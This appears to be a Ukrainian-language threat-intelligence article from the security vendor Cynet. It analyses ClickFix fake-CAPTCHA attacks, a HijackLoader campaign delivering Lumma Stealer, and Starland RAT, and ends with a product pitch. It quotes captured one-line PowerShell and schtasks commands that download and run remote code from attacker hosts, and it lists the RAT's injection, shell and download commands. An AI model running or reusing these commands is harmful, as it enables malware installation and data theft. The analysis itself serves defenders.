- Короткий огляд
- Зміна тенденцій у соціальній інженерії: від прихованої компрометації до обов’язкової взаємодії з користувачем
- Експансія ClickFix
- HijackLoader розгортає Lumma Stealer через шкідливі файли MSI
- Початковий доступ
- Виконання
- Ухилення від захисту
- Управління та контроль
- Starland RAT – новий ланцюг компрометації та нові команди
- Початковий доступ
- Виконання
- Ухилення від захисту
- Управління та контроль
- Закріплення в системі та збір інформації
- Що далі?
- XDR платформа Cynet
Короткий огляд
Останніми роками атаки ClickFix стали невід’ємною частиною соціальної інженерії. Ця тактика виявилася настільки успішною, що еволюціонувала в нову атаку під назвою ConsentFix, яка дозволяє зловмисникам викрадати токени хмарних облікових записів. Як і очікувалося, методи таких атак продовжують адаптуватися в міру того, як зростає їхня впізнаваність та частота виявлення командами захисту.
Компанія Cynet зафіксувала кілька загроз, які зловживали хвилею атак ClickFix, зокрема HijackLoader та Starland RAT, що використовує техніку Etherhiding для отримання адрес URL серверів C&C. Кампанія HijackLoader спостерігалася у великих обсягах як у внутрішній телеметрії, так і у відкритих джерелах (OSINT). Традиційно для HijackLoader, у ній зловживали шкідливими командами PowerShell з атаки ClickFix, які завантажували файл MSI, що містив сам завантажувач. Нова версія Starland RAT встановлювалася через атаку ClickFix, яка створювала заплановане завдання для запуску шкідливої команди PowerShell. Вона, своєю чергою, виконувала шкідливий байт-код Python, що з’єднувався з C&C для отримання подальших інструкцій.
У цій статті детально розглядаються дві такі кампанії, які Cynet виявила в реальних умовах: масштабну операцію HijackLoader, що ховалася за троянізованими інсталяторами MSI, та більш приховану кампанію Starland RAT, яка отримує свою адресу C&C безпосередньо з блокчейну Ethereum. Навіть така проста техніка, як «скопіювати та вставити», поєднується зі все складнішими методами ухилення – від підвантаження шкідливих компонентів через чинні виконувані файли (legitimate-binary sideloading) до визначення серверів C&C на базі блокчейну. Відповідно, фахівцям з кібербезпеки потрібно розглядати загрозу ClickFix набагато ширше, ніж просто як метод доставки шкідливого ПЗ.
Зміна тенденцій у соціальній інженерії: від прихованої компрометації до обов’язкової взаємодії з користувачем
Ще якихось десять років тому вразливості в Internet Explorer, Chrome та Adobe Flash експлуатувалися масово й повсюдно. Набори експлойтів, такі як Rig та Angler EK, тоді беззаперечно домінували – саме на них припадала значна частка всіх випадків компрометації систем шкідливим ПЗ. Секрет їхнього успіху полягав у здатності автоматично визначати версію браузера чи Flash в об’єкта атаки, запускати відповідний код експлойту та успішно виконувати шкідливе програмне забезпечення на його комп’ютері. При цьому від самої цілі не вимагалося жодних дій – ані завантаження файлів, ані подвійного кліку по корисному навантаженню.
Ці так звані drive-by атаки були надзвичайно ефективними, оскільки потребували мінімального втручання користувача, що є вкрай бажаною характеристикою для будь-якого вектора компрометації.
Певний час здавалося, що соціальна інженерія відходить у минуле, а майбутнє початкового доступу належить експлойтам для браузерів. Зловмисникам більше не потрібно було нікого обманювати – набори експлойтів могли автоматично виконувати їхні завдання за допомогою шкідливого JavaScript, вбудованого у скомпрометовані вебсайти. Однак, коли ця модель масштабної та прихованої експлуатації стала дедалі менш життєздатною, екосистема програмного забезпечення почала діяти у відповідь.
Розробники браузерів посилили захист свого ПЗ
Компанія Adobe оголосила про припинення підтримки Flash, і в наступні роки набори експлойтів ставали все менш актуальними. Мрія зловмисників про автоматичну компрометацію цільових пристроїв добігла кінця. Як наслідок, соціальна інженерія продовжила відігравати ключову роль у ландшафті кіберзагроз, оскільки люди й досі залишаються найслабшою ланкою.
У міру того як експлуатація через браузери йшла на спад, зловмисники дедалі частіше поверталися до методів, які вимагали взаємодії з користувачем, а не прихованої компрометації. Згодом макроси Office тимчасово повернули свої позиції, оскільки нападники знаходили креативні способи обманом змусити користувачів їх увімкнути. Однак у 2022 році компанія Microsoft ухвалила важливе рішення, яке спричинило значний зсув у ландшафті загроз – макроси для документів Office, завантажених з інтернету, почали вимикатися за замовчуванням. Макроси знову стали менш поширеними, коли зловмисники перейшли на інші методи доставки. Серед них – файли LNK, образи ISO для обходу механізму Mark of the Web (MotW) і навіть старий трюк із подвійним розширенням, який змушував користувачів думати, що вони відкривають файл .docx, тоді як насправді запускався .exe. Ці техніки й надалі покладалися на обман, часто створюючи відчуття терміновості навколо таких речей, як неочікуваний інвойс чи банківський переказ. Проте загальна тенденція була очевидною: коли технічні шляхи для атак звужувалися, зловмисники продовжували знаходити нові способи змусити користувача виконати критично важливу дію. А що, якби цей крок можна було подати не як відкриття файлу, а як виправлення технічної помилки?
Експансія ClickFix
Протягом останніх кількох років у ландшафті загроз стрімко з’явилася нова техніка, що отримала назву ClickFix. У звіті, опублікованому минулого року, компанія Microsoft зазначила, що 47% зафіксованих нею методів початкового доступу припадали на ClickFix, що вивело цей підхід вперед порівняно з такими перевіреними часом векторами, як фішинг. Суть методу дуже проста: люди постійно проходять перевірки CAPTCHA на різних вебсайтах, особливо в епоху штучного інтелекту, коли боти зустрічаються всюди. То чому б не зробити фальшиву CAPTCHA, яка копіює шкідливу команду в буфер обміну та просить користувача натиснути кілька клавіш? Це вимагає мінімум зусиль як від зловмисника, так і від самого користувача, що, ймовірно, і стало запорукою такого успіху. Кампанії ClickFix розпочинаються як безфайлові і виглядають як справжні дії користувача. Більше того, нещодавнє дослідження Cynet продемонструвало, як атаки в стилі ClickFix можуть призвести до отримання зловмисником прямого доступу до управління (hands-on-keyboard) за лічені хвилини. Це яскраво підкреслює, наскільки швидко такі, здавалося б, прості взаємодії здатні перерости в повну компрометацію.
Цей самий сценарій із копіюванням та вставленням виявився настільки ефективним, що зловмисники швидко почали застосовувати його за межами традиційної доставки шкідливого ПЗ
Замість того щоб використовувати фальшиве «виправлення» для запуску корисного навантаження, вони адаптували цю техніку для захоплення хмарних облікових записів. Саме тут і з’являється ConsentFix, також відома як AuthCodeFix. Ці атаки часто починаються з отруєння пошукової видачі (SEO poisoning) або шкідливої реклами, що веде користувача на цільову сторінку із запитом на автентифікацію в обліковому записі Microsoft. Коли користувач натискає кнопку автентифікації, відкривається справжня сторінка входу Microsoft, через що процес виглядає легітимним. Проте згодом процес авторизації завершується помилкою, і саме тут у гру вступає «виправлення»: користувачу дають вказівку скопіювати URL-адресу невдалого переспрямування, яка часто вказує на неіснуючу адресу localhost, назад на шкідливий вебсайт. Ця URL-адреса містить код авторизації OAuth, який зловмисники можуть обміняти на токени та використати для доступу до облікового запису Microsoft атакованого користувача. Отримавши доступ, вони можуть проводити розвідку середовища, компрометувати корпоративну пошту та здійснювати додаткову шкідливу діяльність – і все це без жодного завантаження шкідливого ПЗ на цільовий пристрій.
Хоча ConsentFix ще не досягла таких масштабів, як ClickFix, на російськомовному хакерському форумі XSS вже доступний інструментарій для розгортання цієї атаки.
Хронологія ключових подій ClickFix
Жовтень 2023
Поява
ClickFix поширюється через підроблені антибот-сторінки.
Користувачів обманом змушують запускати PowerShell.
Витоки техніки пов’язані з ClearFake та EtherHiding.
Березень–квітень 2024
Поява назви та масштабування
Proofpoint відстежує хвилі атак TA571 і ClearFake.
Перехоплення буфера обміну та самостійне виконання команд користувачем.
З’являється термін «ClickFix».
Травень–вересень 2024
Використання кіберзлочинцями
Техніка поширюється серед кіберзлочинців.
Lumma Stealer домінує в кампаніях.
Шкідлива реклама та підроблені CAPTCHA дають змогу масштабувати поширення.
Жовтень 2024 – лютий 2025
Використання APT-групами
APT28, MuddyWater і Kimsuky починають застосовувати цей метод.
Розширення його використання у шпигунських операціях свідчить про зрілість техніки.
Перше півріччя 2025
Широкомасштабний вплив
Один із провідних у світі векторів початкового доступу.
Близько 8% заблокованих атак.
47% сповіщень Defender IR.
Кінець 2024–2025
Комерціалізація
Готові набори для створення атак продаються на підпільних майданчиках за $200–$1,5 тис. на місяць.
Варіант FileFix переходить до виконання через Провідник Windows.
Грудень 2025
ConsentFix
Push Security вводить назву «ConsentFix».
Перехоплення надання OAuth-дозволів через Azure CLI.
Дає змогу обходити захист на основі паролів, MFA та ключів доступу (passkeys).
Більшість сучасних цільових сторінок ClickFix експлуатують саме цю потребу у знайомих інтерфейсах, маскуючись під сторінки Cloudflare або reCAPTCHA, щоб виглядати справжніми для необачних користувачів. Наведені нижче приклади демонструють поширені шаблони сторінок ClickFix, виявлені під час нещодавніх кампаній.


Cynet стикався з кількома кампаніями ClickFix, які намагалися проникнути в інфраструктуру клієнтів. Оскільки обсяги та різноманітність таких кампаній продовжують зростати, ClickFix став важливим напрямком для вивчення цієї техніки та допомоги в захисті користувачів від подібних атак. У цій статті розглядаються дві кампанії, які вдалося виявити: кампанію HijackLoader, що характеризувалася різким сплеском активності, та більш приховану кампанію ClickFix, яка встановлювала RAT на базі Python.
HijackLoader розгортає Lumma Stealer через шкідливі файли MSI
Як підготовлений скрипт PowerShell доставляє шкідливий файл MSI та виконує приховано завантажені компоненти

Початковий доступ та підготовка
Запуск через ClickFix та PowerShell
Доставка корисного навантаження
Декодування скрипта та доставка шкідливого файлу MSI
Підміна DLL та виконання
Завантаження DLL та виконання фінальних компонентів
У квітні компанія Cynet виявила кампанію HijackLoader на базі ClickFix, яка розгортала Lumma Stealer через шкідливі файли MSI. Ці інсталятори MSI містили легітимні, безпечні виконувані файли – наприклад, безкоштовну утиліту SysInspector від ESET, – приховуючи шкідливе ПЗ у DLL-бібліотеці, що підвантажувалася підписаним виконуваним файлом ESET. Було помічено, що в цій кампанії використовувалося кілька варіацій схожих команд ClickFix, які застосовували легкі завантажувачі PowerShell для ініціалізації наступних етапів. У деяких варіантах зловмисники додавали до команд фальшиві коментарі, щоб змусити користувачів повірити, ніби вони дотримуються інструкцій справжньої перевірки CAPTCHA.
Початковий доступ
Як і в інших атаках ClickFix, цей ланцюг атаки розпочинався з того, що користувачу показували шахрайську вебсторінку із вказівкою виконати команду на своєму пристрої для виправлення помилки. Судячи з ідентифікатора RAY-ID у команді, сторінка, ймовірно, маскувалася під Cloudflare, щоб запит виглядав цілком безпечним для необачного користувача.
Потім користувач відкривав вікно «Виконати» і вводив надану команду. Наступна команда PowerShell була зафіксована в інфраструктурі кількох клієнтів у квітні:
iex(irm 85[.]11[.]161[.]198:9191 -UseBasicParsing) # RAY-ID:735428-SGTP5; Anti-bot autodetection
Хоча немає доступу до оригінального сайту, який був джерелом цього конкретної компрометації, виявлено інші сайти ClickFix. Вони розповсюджували схожу команду, використовували спільну інфраструктуру та віддавали схожий файл MSI:

Виконання
Наведена вище команда завантажувала об’ємний скрипт PowerShell із hXXp[://]85[.]11[.]161[.]198:9191/ за допомогою командлета Invoke-RestMethod та виконувала його безпосередньо в пам’яті, використовуючи Invoke-Expression. Після запуску, на наступному етапі, додатковий код PowerShell, закодований у форматі Base64, записувався у файл PS1 та одразу виконувався. Це був останній етап із використанням PowerShell у ланцюгу компрометації. Його завданням було завантажити файл із сервера C&C, який, судячи з коду, міг бути у форматі .exe або .msi. У цьому конкретному ланцюгу компрометації зафіксовано завантаження саме файлу MSI.
Файл MSI встановлювався у прихованому режимі з використанням прапорця /qn, щоб гарантувати відсутність будь-якого інтерфейсу користувача (UI), після чого встановлене програмне забезпечення негайно запускалося. У цьому випадку спостерігалося, як файл MSI інсталював утиліту SysInspector від ESET під назвою Celerity-Monitor.exe, а разом із нею – шкідливу бібліотеку DLL sciter-x.dll, яку потім завантажував файл Celerity-Monitor.exe.
Ухилення від захисту
Завантажений скрипт містив багато безпечного «сміттєвого» коду (junk code), щоб приховати свої справжні наміри. Проте цей код постійно повторювався, що дозволило легко виявити справжній шкідливий код, який був закодований у форматі Base64 у змінній $data. На відміну від більшості стейджерів PowerShell, зокрема й тих, що використовувалися на попередніх етапах цього ланцюга компрометації, цей скрипт застосував об’єкт COM для завантаження файлу MSI. У багатьох атаках із використанням файлів MSI зловмисники можуть зловживати функцією в msiexec.exe, яка дозволяє напряму передавати URL-адресу до віддаленого файлу MSI. Але в цьому випадку нападники вирішили завантажити файл самостійно, використавши менш поширений у PowerShell метод – імовірно, щоб уникнути виявлення.

Файл sciter-x.dll, схоже, спочатку був офіційною бібліотекою DLL, яку пропатчили для читання файлу під назвою filter-config.tmp. Бібліотека розшифровувала цей файл, зчитувала з нього назву оригінальної бібліотеки DLL для завантаження – у цьому випадку це був файл tapisrv.dll – завантажувала цю DLL у пам’ять, перезаписувала її пам’ять шеллкодом (shellcode), розшифрованим із файлу, та передавала йому виконання. Така техніка здатна обходити певні механізми виявлення систем EDR (Endpoint Detection and Response), оскільки виконання шеллкоду відбувається в просторі пам’яті дійсного модуля, а не шляхом виділення нових приватних регіонів пам’яті.

Управління та контроль
Після запуску шеллкоду на диск було збережено та запущено ще кілька виконуваних файлів, зокрема
AppData\Roaming\winrepository_v2_0\Crisp.exe
та
AppData\Local\Temp\EXEMessenger_net40.exe
Після виконання файл EXEMessenger_net40.exe спробував встановити зворотне з’єднання з IP-адресою 91[.]84[.]123[.]231, але на момент аналізу сервер уже не відповідав. Він також неодноразово надсилав запити HTTP HEAD до http://example.com – імовірно, щоб допомогти реальному трафіку C&C злитися з безпечним трафіком.
Starland RAT – новий ланцюг компрометації та нові команди
Як підготовчі етапи ClickFix призводять до виконання PowerShell, пошуку C&C через блокчейн та отримання команд зловмисника.

Початковий доступ та підготовка
Встановлення точки входу та закріплення
Виконання PowerShell
Завантаження підготовленого скрипта та розгортання RAT
Управління та контроль
Визначення адреси URL C&C та очікування команд
На відміну від попередньої кампанії, яка виглядала масштабною та мала велику кількість зразків у реальних умовах (in the wild), ця кампанія була значно менш помітною і фіксувалася лише в інфраструктурі одного клієнта, зрештою встановлюючи Starland RAT на цільовий пристрій. Зловмисник обманом змушував користувача виконати команду, яка створювала заплановане завдання. Це завдання, своєю чергою, завантажувало та встановлювало шкідливий програмний компонент на базі Python на пристрій користувача. Шкідливе ПЗ отримувало свою справжню адресу URL сервера C&C з блокчейну Ethereum, використовуючи техніку під назвою EtherHiding.
Cynet вперше зафіксувала цю активність в інфраструктурі клієнта ще у травні 2026 року, до публікації відповідного звіту від Cisco. Досліджена версія Starland RAT, схоже, містить додаткові команди, відсутні у зразку, який аналізувала Cisco.
Початковий доступ
За даними телеметрії, атака розпочалася з команди, введеної через вікно «Виконати» у Windows. Спочатку її виявлено завдяки телеметрії реєстру RunMRU, яка фіксує команди, нещодавно виконані через вікно «Виконати», у гілці HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. У цьому випадку команда не запускала завантажувач PowerShell як прямий дочірній процес explorer.exe. Натомість вона створювала заплановане завдання, яке запускалося щохвилини та виконувало завантажувач PowerShell уже звідти – імовірно, щоб допомогти зловмисникам уникнути механізмів виявлення, націлених на процеси PowerShell, що породжуються безпосередньо від explorer.exe. Ось зафіксована команда, введена у вікні «Виконати»:
schtasks /create /tr "powershell -C \"iex(irm 39e552145a32ab0a[.]fun/88c9b4d0fd9a9d0033d3757cde345302)\"" /sc minute /mo 1 /tn "Enter"
Виконання
Після запуску запланованого завдання воно виконало файл PS1 із директорії AppData\Local\Temp. Потім цей скрипт запустив закодовану у форматі Base64 команду PowerShell, яка намагалася завантажити наступний етап. На останньому етапі з використанням PowerShell завантажувався файл ZIP, що містив проєкт Python, разом із власним інтерпретатором Python та файлом .pyc під назвою LICENSE.txt.

Ухилення від захисту
Етапи з використанням PowerShell для завантаження файлу ZIP застосовували відносно прості форми обфускації, такі як запис рядків у зворотному порядку та конкатенацію рядків, щоб приховати підозрілі фрагменти команд. Кінцеве корисне навантаження, LICENSE.txt, виявилося сильно заплутаним файлом PYC зі складною схемою приховування рядків та імен. Байт-код вдалося декомпілювати за допомогою PyLingual та виконати додаткові скрипти для розшифрування рядків, зашифрованих за алгоритмом XOR із кількома різними ключами. Аналіз відновленого вихідного коду виявив дуже цікавий функціонал: корисне навантаження виявилося кастомним RAT-трояном, що використовував складну техніку під назвою EtherHiding, за якої шкідливе ПЗ отримувало свою адресу URL сервера C&C з блокчейну Ethereum. Зберігаючи справжнє розташування сервера C&C в такий спосіб, зловмисники ускладнили ідентифікацію активного сервера постфактум. Цей RAT виконував завдання, використовуючи метод eth_call через кінцеві точки Polygon RPC для отримання прихованої адреси URL корисного навантаження.

Управління та контроль
Після отримання прихованої адреси URL сервера C&C RAT запускався та збирав інформацію про поточне середовище перед її відправленням на сервер C&C, де очікував на подальші інструкції. Початково зібрана інформація поміщалася у файл JSON формату:
{
"build_id": "captcha",
"payload_version": "5.1",
"pc_id": machine_guid,
"windows_version": windows_version,
"machine_name": machine_name,
"username": user_name,
"av": av,
"domain": domain,
"can_elevate": not is_admin() and is_limited_token(),
"screen": screenshot_in_base64
}
Цей файл JSON містив GUID пристрою, отриманий із реєстру, версію Windows, ім’я хоста, ім’я користувача, встановлені антивірусні продукти, домен, інформацію про можливість користувача підвищити привілеї, а також скріншот екрана хоста у форматі PNG, закодований у Base64. Після відправлення цієї інформації RAT очікував на команди. Нижче наведено список команд, які приймає це шкідливе ПЗ – він містить кілька додаткових команд порівняно з тими, про які раніше повідомляла компанія Cisco:
Набір команд Starland RAT
| Команда | Опис |
| shellexecute | Виконує команду, отриману з сервера C&C. |
| x32 | Впроваджує 32-бітний шеллкод у dpapimig.exe за допомогою стандартних функцій VirtualAllocEx + WriteProcessMemory + QueueUserAPC. |
| x32_v2 | Впроваджує 32-бітний шеллкод у prevhost.exe за допомогою техніки Early Bird injection з використанням QueueUserAPC. |
| x32_v3 | Впроваджує 32-бітний шеллкод у efsui.exe за допомогою функцій Nt + QueueUserAPC. |
| x32_v4 | Впроваджує 32-бітний шеллкод у systray.exe за допомогою VirtualAllocEx + функцій Nt для запису/захисту та QueueUserAPC. |
| x64 | Повторно запускає 64-бітну версію коду з аргументом, що вказує на версію впровадження шеллкоду, яку слід використати. |
| x64_2 | Повторно запускає 64-бітну версію коду з аргументом, що вказує на версію впровадження шеллкоду, яку слід використати. |
| x64_3 | Повторно запускає 64-бітну версію коду з аргументом, що вказує на версію впровадження шеллкоду, яку слід використати. |
| x64_4 | Повторно запускає 64-бітну версію коду з аргументом, що вказує на версію впровадження шеллкоду, яку слід використати. |
| download | Завантажує файл із сервера C&C. Якщо це файл EXE, він запускається. Якщо це файл MSI, він встановлюється у прихованому режимі. Якщо це файл DLL, для його запуску використовується команда regsvr32 /s. Якщо це файл ZIP, він розпаковується. Файли завантажуються в директорію %TMP%. |
| elevate | Намагається запустити RAT з правами адміністратора шляхом виклику UAC. У разі невдачі спроба повторюється. |
| interactive_start | Відкриває інтерактивну оболонку (shell) з можливістю вибору cmd або PowerShell. |
| botinfo | Збирає інформацію про хост через WMI, Windows API, реєстр та інші команди. Ця інформація включає загальні відомості про систему, дискові накопичувачі, хмарні сховища, розширення браузера, встановлене програмне забезпечення та налаштування безпеки. |
| screenshot | Робить скріншот екрана хоста та зберігає його у файл PNG. |
Закріплення в системі та збір інформації
Після виконання Cynet зафіксувала численні команди закріплення та розвідки, ініційовані процесом pythonw.exe. Спочатку шкідливе ПЗ створювало файл LNK у директорії автозавантаження (startup), який запускав pythonw.exe із файлом LICENSE.txt. Потім створювалося нове заплановане завдання під назвою MSIAfterInstall_7861 для запуску LICENSE.txt під час входу в систему. Після налаштування кількох методів закріплення шкідливе ПЗ робило скріншот екрана та збирало безліч даних із системи, зокрема:
- встановлені антивірусні продукти;
- домен;
- результати виконання systeminfo.exe;
- поточний користувач та інформація про нього, отримана через команду net user;
- системна інформація з класів Win32_ComputerSystem, Win32_Processor, Win32_OperatingSystem та Win32_ShadowCopy;
- будь-яка інформація про точки відновлення комп’ютера;
- встановлене програмне забезпечення (згідно зі списком програм для видалення в реєстрі);
- мережева інформація (IP та MAC адреси);
- профілі та налаштування фаєрвола;
- чи активовано параметр EnableLUA в реєстрі;
- статус Windows Defender на пристрої.

Що далі?
Стає очевидним, як ClickFix швидко захопив сучасний ландшафт загроз завдяки своїй простоті та ефективності. Це цілком логічно: в інтернеті користувачів постійно просять підтвердити, що вони люди. Перевірки CAPTCHA стали настільки звичним явищем, що користувачі часто виконують їх не замислюючись. Сьогодні механізми CAPTCHA постійно змінюються та ускладнюються, оскільки боти на базі штучного інтелекту масово сканують вебсторінки. Цілком імовірно, що користувач може натиснути кілька клавіш на клавіатурі, щоб подолати те, що здається йому просто дратівливою перешкодою. Факт залишається фактом: загроза ClickFix, імовірно, залишатиметься актуальною щонайменше ще певний час.
Щоб краще захиститися від атак ClickFix, насамперед необхідно підвищувати обізнаність користувачів про них. Навчання з протидії фішингу вже є усталеною практикою; багато компаній використовують його, щоб навчити співробітників розпізнавати спроби фішингу до того, як вони перетворяться на дорогі інциденти безпеки. Аналогічно, навчання користувачів розпізнавати аномальну поведінку CAPTCHA – наприклад, вказівки виконати команди у своїй системі – може допомогти запобігти цим атакам на рівні людського фактора. Однак фахівцям із захисту також слід уникати сприйняття ClickFix виключно як проблеми, пов’язаної зі шкідливим програмним забезпеченням. Такі техніки, як ConsentFix, демонструють, що зловмисники можуть застосовувати ті самі принципи соціальної інженерії для атак на ідентифікаційні дані у хмарі, що дозволяє їм отримувати токени доступу без виконання жодного коду на цільовому пристрої. Оскільки організації продовжують переносити робочі навантаження в рішення SaaS та хмарні платформи, командам із безпеки слід готуватися до атак у стилі ClickFix, які націлені на ідентифікаційні дані так само агресивно, як і на кінцеві точки.
XDR платформа Cynet
Cynet об’єднує EDR, EPP, NDR, ITDR, SOAR, безпеку електронної пошти, захист SaaS і хмарних середовищ, мобільну безпеку та інші безпекові можливості в єдиній уніфікованій платформі. Платформа забезпечує комплексну видимість і захист усього середовища, може бути розгорнута за лічені години, а не тижні, автоматизує рутинні завдання з безпеки для зменшення частки ручної праці, а також використовує вбудований ШІ для мінімізації хибних спрацьовувань і прискорення виявлення загроз та реагування на них.







